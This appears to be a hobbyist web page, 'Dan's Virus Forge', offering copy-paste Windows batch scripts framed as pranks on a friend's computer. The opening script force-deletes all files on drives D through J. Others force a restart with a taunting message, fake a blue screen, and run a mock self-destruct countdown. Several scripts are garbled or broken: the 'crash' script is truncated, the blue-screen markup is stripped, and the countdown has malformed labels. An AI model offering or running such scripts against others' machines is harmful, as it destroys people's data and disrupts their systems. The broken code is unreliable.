Dan's Virus Forge

ULTIMATE DESTRUCTION OF COMPUTER
This one is a personal favorite of mine, to use it go find your notepad in the accessories tab of your start menu.

COPY AND PASTE

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then hit save as and name it ULTDESTRUCTION.bat
(DO NOT CLICK! YOUR COMPUTER WILL NOT WORK AGAIN!)

INSTA CRASH

This one is simpler and less deadly, it is used to instantly crash someones computer.

go to notepad like last time and copy/paste or type

echo off
start:

Then hit save and name CRASH.bat
(THIS WILL CRASH YOUR COMPUTER)

Now lets say you didn't want to destroy or crash your friends computer, you just wanted to deliver a message to them.

RESTART COMPUTER WITH MESSAGE

Again repeat the steps of opening the notepad

COPY AND PASTE

@echo off
shutdown -r -t 100 -c “So long for your computer! MUHAHAHAHA!”

Note that you can change the message to whatever holds your fancy, and the 100 represents the time before the computer shuts off, so you can also edit that.

Once you are done, hit save as RESTART YOU.bat

(Note: This one can be disabled by going to run and typing shutdown -a)

FAKE BLUE SCREEN OF DEATH

open notepad

COPY AND PASTE

@echo off
echo ^^^BSOD^ > bsod.hta
echo. >> bsod.hta
echo ^> bsod.hta
echo applicationname="BSOD" >> bsod.hta
echo version="1.0" >> bsod.hta
echo maximizebutton="no" >> bsod.hta
echo minimizebutton="no" >> bsod.hta
echo sysmenu="no" >> bsod.hta
echo Caption="no" >> bsod.hta
echo windowstate="maximize"/^> >> bsod.hta
echo. >> bsod.hta
echo ^^ >> bsod.hta
echo ^ >> bsod.hta
echo ^A VIRUS has been detected and windows has been shutdown to prevent damage to your computer.^ >> bsod.hta
echo. >> bsod.hta
echo ^DRIVER_IRQL_NOT_LES_OR_EQUAL^ >> bsod.hta
echo. >> bsod.hta
echo ^If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^ >> bsod.hta
echo. >> bsod.hta
echo ^Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^ >> bsod.hta
echo. >> bsod.hta
echo ^If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^ >> bsod.hta
echo. >> bsod.hta
echo ^Technical information:^ >> bsod.hta
echo. >> bsod.hta
echo ^*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^ >> bsod.hta
echo. >> bsod.hta
echo. >> bsod.hta
echo ^*** gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^ >> bsod.hta
echo. >> bsod.hta
echo ^Beginning dump of physical memory^ >> bsod.hta
echo ^Physical memory dump complete.^ >> bsod.hta
echo ^Contact your MOM or technical support group for further assistance.^ >> bsod.hta

hit save as BLUESCREEN.bat

(Note to get out of this just hit alt+esc)


FAKE COMPUTER SELF DESTRUCT

start notepad

COPY AND PASTE

@echo off
color 4
echo Warning Selfdestruction will commence in 10 second(s)!
color 0
Choice /t 1 /d a /C a
if "%web%"=="a" GOTO "b"
:b
color 4
echo.
echo Warning Selfdestruction will commence in 9 second(s)!
echo.
color 0
choice /t 1 /d b /c b
if "%web%"=="b" GOTO "c"
:c
color 4
echo.
echo Warning Selfdestruction will commence in 8 second(s)!
echo.
color 0
choice /t 1 /d c /c c
if "/d"=="c" GOTO "d"
:d
color 4
echo.
echo Warning Selfdestruction will commence in 7 second(s)!
echo.
color 0
choice /t 1 /d d /c d
if "%web%"=="d" GOTO "e"
e:
color 4
echo.
echo Warning Selfdestruction will commence in 6 second(s)!
echo.
color 0
choice /t 1 /d e /c e
if "%web%"=="e" GOTO "f"
:f
color 4
echo.
echo Warning Selfdestruction will commence in 5 second(s)!
echo.
color 0
choice /t 1 /d f /c f
if "%web%"=="f" GOTO "g"
:g
color 4
echo.
echo Warning Selfdestruction will commence in 4 second(s)!
echo.
color 0
choice /t 1 /g g /c g
if "%web%"=="g" GOTO "h"
:h
color 4
echo.
echo Warning Selfdestruction will commence in 3 second(s)!
echo.
color 0
choice /t 1 /d h /c h
if "%web%"=="h" GOTO "i"
:i
color 4
echo.
echo Warning Selfdestruction will commence in 2 second(s)!
echo.
color 0
choice /t 1 /d i /c i
set /p web
if "%web%"=="i" GOTO "j"
:j
color 4
echo.
echo Warning Selfdestruction will commence in 1 second(s)!
echo.
color 0
choice /t 1 /d j /c j
set /p web
if "%web%"=="j" GOTO "k"
:k
color 4
echo.
echo Warning Selfdestruction will commence in NOW! second(s)!
echo.
color 0
choice /t 1 /d k /c k
set /p web
if "%web%"=="k" GOTO "l"
:l
color 4
start echo BOOM!!!
start echo BOOM!!!
start echo BOOM!!!
start echo BOOM!!!
start echo BOOM!!!
start echo BOOM!!!
start echo BOOM!!!
start echo BOOM!!!
start echo BOOM!!!

hit save as BOOM.bat

The virus forge shall be updated soon! BE PATIENT!!